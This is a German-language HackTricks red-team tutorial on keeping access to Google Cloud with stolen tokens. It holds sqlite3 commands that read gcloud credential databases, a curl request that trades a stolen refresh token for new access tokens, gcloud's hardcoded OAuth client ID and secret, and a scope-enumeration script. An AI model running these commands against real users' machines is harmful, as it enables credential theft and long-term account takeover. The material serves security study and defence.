GCP - Token Persistence

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Authentifizierte Benutzertoken

Um das aktuelle Token eines Benutzers zu erhalten, können Sie Folgendes ausführen:

bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Überprüfen Sie auf dieser Seite, wie Sie dieses Token direkt mit gcloud verwenden:

Cloud SSRF - HackTricks

Um die Details zur Generierung eines neuen Zugriffstokens zu erhalten, führen Sie aus:

bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Es ist auch möglich, Refresh-Token in $HOME/.config/gcloud/application_default_credentials.json und in $HOME/.config/gcloud/legacy_credentials/*/adc.json zu finden.

Um ein neues aktualisiertes Zugriffstoken mit dem Refresh-Token, der Client-ID und dem Client-Secret zu erhalten, führen Sie aus:

bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Die Gültigkeit der Refresh-Token kann in Admin > Sicherheit > Google Cloud-Sitzungskontrolle verwaltet werden, und standardmäßig ist sie auf 16 Stunden eingestellt, obwohl sie so konfiguriert werden kann, dass sie niemals abläuft:

Auth-Flow

Der Authentifizierungsfluss bei der Verwendung von etwas wie gcloud auth login öffnet ein Eingabeaufforderung im Browser, und nachdem alle Berechtigungen akzeptiert wurden, sendet der Browser eine Anfrage wie diese an den von dem Tool geöffneten HTTP-Port:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Dann wird gcloud den Zustand und den Code mit einer fest codierten client_id (32555940559.apps.googleusercontent.com) und client_secret (ZmssLNjJy2998hD4CTg2ejr2) verwenden, um die finalen Refresh-Token-Daten zu erhalten.

caution

Beachten Sie, dass die Kommunikation mit localhost über HTTP erfolgt, sodass es möglich ist, die Daten abzufangen, um ein Refresh-Token zu erhalten. Diese Daten sind jedoch nur 1 Mal gültig, daher wäre dies nutzlos; es ist einfacher, das Refresh-Token aus der Datei zu lesen.

OAuth Scopes

Sie finden alle Google-Scope in https://developers.google.com/identity/protocols/oauth2/scopes oder erhalten sie, indem Sie ausführen:

bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Es ist möglich zu sehen, welche Scopes die Anwendung, die gcloud zur Authentifizierung verwendet, unterstützen kann, mit diesem Skript:

bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Nach der Ausführung wurde überprüft, dass diese App die folgenden Scopes unterstützt:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

es ist interessant zu sehen, wie diese App den drive Scope unterstützt, der es einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn es einem Angreifer gelingt, den Benutzer zu zwingen, ein Token mit diesem Scope zu generieren.

Überprüfen Sie, wie Sie das hier ausnutzen können.

Dienstkonten

Genau wie bei authentifizierten Benutzern, wenn Sie es schaffen, die private Schlüsseldatei eines Dienstkontos zu kompromittieren, können Sie in der Regel so lange darauf zugreifen, wie Sie möchten.
Wenn Sie jedoch das OAuth-Token eines Dienstkontos stehlen, kann das sogar noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das OAuth-Token gültig, bis es abläuft, selbst wenn das Opfer den privaten API-Schlüssel löscht.

Metadaten

Offensichtlich können Sie, solange Sie sich in einer Maschine im GCP-Umfeld befinden, auf das Dienstkonto zugreifen, das an dieser Maschine angehängt ist, indem Sie den Metadaten-Endpunkt kontaktieren (beachten Sie, dass die Oauth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).

Abhilfemaßnahmen

Einige Abhilfemaßnahmen für diese Techniken werden in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 erklärt.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks